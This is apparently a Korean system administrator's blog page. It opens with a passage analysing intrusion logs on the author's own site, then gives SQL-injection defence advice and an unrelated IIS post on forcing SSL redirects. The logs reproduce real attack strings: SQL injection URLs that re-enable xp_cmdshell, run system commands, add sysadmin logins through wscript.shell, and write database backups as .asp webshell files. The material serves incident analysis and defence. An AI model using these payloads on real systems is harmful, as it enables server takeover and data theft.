백업된 로그: 데이터베이스: serverinfo, 만든 날짜(시간): 2004/04/06(16:36:00), 첫째 LSN: 893:19:1, 마지막 LSN: 893:19:1, 덤프 장치 수: 1, 장치 정보: (FILE=1, TYPE=DISK: {'c:\cmd'}).

백업된 로그: 데이터베이스: serverinfo, 만든 날짜(시간): 2004/04/06(16:36:00), 첫째 LSN: 893:19:1, 마지막 LSN: 893:33:1, 덤프 장치 수: 1, 장치 정보: (FILE=1, TYPE=DISK: {'d:\www_root\serverinfo.pe.kr\mag\dback.asp'}).

백업된 로그: 데이터베이스: serverinfo, 만든 날짜(시간): 2004/04/06(16:36:00), 첫째 LSN: 893:33:1, 마지막 LSN: 893:47:1, 덤프 장치 수: 1, 장치 정보: (FILE=1, TYPE=DISK: {'d:\www_root\serverinfo.pe.kr\sy\dback.asp'}).

백업된 로그: 데이터베이스: serverinfo, 만든 날짜(시간): 2004/04/06(16:36:00), 첫째 LSN: 893:47:1, 마지막 LSN: 893:66:1, 덤프 장치 수: 1, 장치 정보: (FILE=1, TYPE=DISK: {'d:\Microsoft SQL Server\MSSQL\BACKUP\yiaolu'}).

백업된 로그: 데이터베이스: serverinfo, 만든 날짜(시간): 2004/04/06(16:36:00), 첫째 LSN: 893:132:1, 마지막 LSN: 893:132:1, 덤프 장치 수: 1, 장치 정보: (FILE=1, TYPE=DISK: {'d:\www_root\serverinfo.pe.kr\sy\dback2.asp'}).

BackupDiskFile::CreateMedia: 백업 장치 'd:\www_root\serverinfo.pe.kr\sy\dback2.asp\zz.asp'이(가) create에 실패했습니다. 운영 체제 오류 = 3(지정된 경로를 찾을 수 없습니다.)

BACKUP이 실패하여 'update qna_AV set cnt=cnt+1 where idx=2162;declare/**/@a/**/
sysname,@s/**/nvarchar(4000)/**/select/**/@a=db_name(),@s=0x64003a005c00770
0770077005f0072006f006f0074005c00620069007200
640074007200650065002e006e00650074005
c00730079005c0064006200610063006b00320' 명령이 완료됩니다.


백업된 데이터베이스 차등 변경: 데이터베이스: serverinfo, 만든 날짜(시간): 2004/04/06(16:36:00), 덤프한 페이지 수: 107, 첫째 LSN: 893:383:1, 마지막 LSN: 893:385:1, 전체 백업 LSN: 893:317:3, 덤프 장치 수: 1, 장치 정보: (FILE=1, TYPE=DISK: {'d:\www_root\serverinfo.pe.kr\sy\dback6.asp'}).

또는, 해당 asp 파일을 생성후 해당 asp 파일 코드내에 여러가지 작업이 가능한 시스템 명령어 및 DB 쿼리 명령어를 넣어 두기도 한다.

1.asp,
2.asp,
11.asp,
111.asp
dbback.asp
dbback1.asp
dbback2.asp
dbback3.asp
dbback6.asp
C드라이브루트에. Cmd



4. Sql Injection 시도 웹사이트 로그


위와 같은 작업은 웹사이트를 통해서 하는데, 자동화된 툴을 이용하는 경우에는 웹사이트 주소줄의 레퍼러 위/변조 방법을 이용하고 직접적인 시도는 레퍼러 위조 뿐만 아니라 폼값 POST 전송을 통해서도 시도를 한다.

(* 다음은, 필자의 웹사이트인 Serverinfo.pe.kr 을 거의 매일 다음과 같이 스캔을 당하고 있다.)

http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105
and char(124)+user+char(124)=0
http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105'
and char(124)+user+char(124)=0 and '%'='
http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105'
and char(124)+user+char(124)=0 and ''='
http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105'
and char(124)+user+char(124)=0 and '%'='

위를 시도한 다음에,, 가능하다고 판단을 했던것 일까?.. 보다 적극적인 공격을 시도한다.
다음 레퍼러주소에 따라오는 쿼리문은 공격의 일부 샘플이다. 어떤가?.. 상상을 초월하지 않는가?.

http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105;DROP
TABLE [X_5450];use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')--

예외,. 오류: 'guest' 사용자에게는 DBCC 'addextendedproc'을(를) 실행할 권한이 없습니다.
데이터베이스 컨텍스트가 'master'(으)로 변경되었습니다.

http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105
And (Select Top 1 CASE WHEN ResultTxt is Null then char(124) else ResultTxt+char(124) End from (Select Top 1 id,ResultTxt from [X_5450] order by [id]) T order by [id] desc)>0

http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105;use
master dbcc addextendedproc('xp_cmdshell','xplog70.dll')--

http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105;CREATE
TABLE [X_5450]([id] int NOT NULL IDENTITY (1,1), [ResultTxt] nvarchar(4000) NULL);insert into [X_5450](ResultTxt) exec master.dbo.xp_cmdshell 'dir c:';insert into [X_5450] values ('g_over');exec master.dbo.sp_dropextendedproc 'xp_cmdshell'--

http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105;use
master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'OSQL -E -S localhost -d master -Q "exec sp_addsrvrolemember dir c:,sysadmin"'--

http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105;use
master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'OSQL -E -S localhost -d master -Q "exec sp_addlogin dir c:,xiaoxue"'--

http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105;DROP
TABLE [X_5450];use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')--



물론, 레퍼러 버퍼를 작게(제한) 해놓은 웹서버도 있기는 하지만 그렇다고 그것이 방어의 대안이 되지는 못한다.


5. 방어

방어의 최상의 방법은, 기본적인 방화벽에 의해서 공개 서비스외는 차단이 되어 있다는 가정하에,.

1. 웹사이트에 사용자 입력이 가능한 모든 부분에 대한 예외처리를 해야 한다.

2. 사용자 입력값에 대한 정당성 체크 루틴을 필수로 해줘야 한다.

3. 그래도 안심이 안된다면, 웹사이트 오류시 절대! 웹브라우져에 오류가 발생했다는 표시를 하지 않도록 웹서버의 오류메시지를 수정해서 특정 페이지로 Redirection 처리를 해줘야 한다.

4. DB 연동 웹사이트라면, 최소화된 권한을 가진 해당 DB 에만 권한이 있는 계정을 이용해야 한다.

5. 각 웹사이트 기능별 테이블에서 select, insert, update, delete 등의 특정권한만 지정한다.

위 5가지 항목은 프로그래머가 취해야 할 부분이다.

6. Urlscan 및 WebKnight 같은 웹사이트 요청 필터를 통해서 해킹시도 문자열을 사전에 차단하는 것이다.

7. 웹서버 관련 오류나 경고이벤트 및 IIS 로그를 주기적으로 체크한다.

8. 관련 문서가 인터넷에 아주 많이 배포가 되어 있으므로 주기적으로 관련문서를 탐독 및 적용한다.


지금까지 해킹시도 로그 및 침해흔적을 살펴보았다. 솔직히 필자가 수 백대의 서버를 운영 및 기술지원을 하면서 경험한 내용의 빙산의 일각이다.

해킹 트랜드 및 기법은 날이 갈수록 정교 및 교묘해지므로 어떤 작업이나 프로그래밍을 할때에는 보안을 제1순위로 해두어야 조금이라도 안전하게 데이터 보호를 할수가 있게 된다.

보안의식이 투철해야만, 두발 뻗고 편안한 잠을 이룰수가 있게 된것이다.

(* 본 포스트는, 상업적 이용은 허락을 받아야 하며, 그외는 출처를 필히 표기해야 합니다.)

2006년 12월 7일 목요일

IIS 웹사이트 SSL 강제 Redirect 적용



IIS 웹서버에 SSL 웹서버 인증서를 적용한 경우, https:// 를 통해서 접속이 가능해 진다.

그런데, 실제적으로 https:// 로 직접링크를 걸지 않는 이상 웹사이트 전체를 거의 대부분 상대링크를 이용해서 웹사이트 디자인을 하게 되므로 중요 정보를 다루는 웹사이트는 무조건 SSL 채널 이용을 강제화 할 필요가 있다.



그런 경우, 위와 같이 해당 웹사이트 등록정보에서 SSL 강제화를 적용하면 된다. 그런데 문제는 기존에 https:// 가 아닌 http:// 접속자가 분명 있을 것이다.

물론, 해당 웹사이트의 인덱스 페이지에서, https://www.serverinfo.pe.kr/ 처럼 redirect 를 하면 되나, 이외 웹서버 측에 적용이 가능하다. 그러나 서브페이지까지 Redirect 처리를 해줄려면 웹서버 측 Redirect 설정이 훨씬 효과적 이다.

처음 이미지처럼, 오류메시지를 보여줄 필요없이 즉시 Redirect 처리를 해주는 방법이, IIS 웹서버의 기본 오류메시지 문서를 변경하는 방법이다.



SSL 강제로 SSL 페이지가 필요한 경우 웹서버는 403.4 오류 메시지를 클라이언트 브라우져에 출력하게 된다.

위 기본 페이지를 사용자 지정 페이지로 변경을 해주면 되며, 그 파일은 웹사이트별 디자인도 가능할 것인다.

Asp 코드에서는, 다음과 같이 오류페이지 소스코드를 구성하여, https:// 페이지로 전환을 할수가 있다. 물론 javascipt 등을 이용해서 몇초후에 전환된다건가, 사용자 클릭을 통해서 전환하는 코드를 추가 해도 좋을 것이다.

<%@Language=VBScript %>
<%
      strQueryString = Request.QueryString 
      strAddress = Right(strQueryString, Len(strQueryString) - Instr(1,strQueryString, ";")) 
      strSecure = Replace(strAddress, "http:", "https:", 1, 1) 
      Response.Redirect strSecure
%>


닷넷에서는 여러가지 방법이 있겠지만, 가장 간단한 방법은 다음과 같다.

strUrl = Request.Url.ToString();
Response.Redirect(strUrl.Replace("http","https"))


07-ssl_1.png
07-ssl_2.png
07-ssl_3.png

2019년 12월 MS 취약점 패치 주요 사항

서버 관련 주요 중요 취약점 CVE-2019-1470 | Hyper-V 정보 유출 취약성 https://portal.msrc.microsoft.com/ko-KR/security-guidance/advisory/CVE-2019-1470 CVE...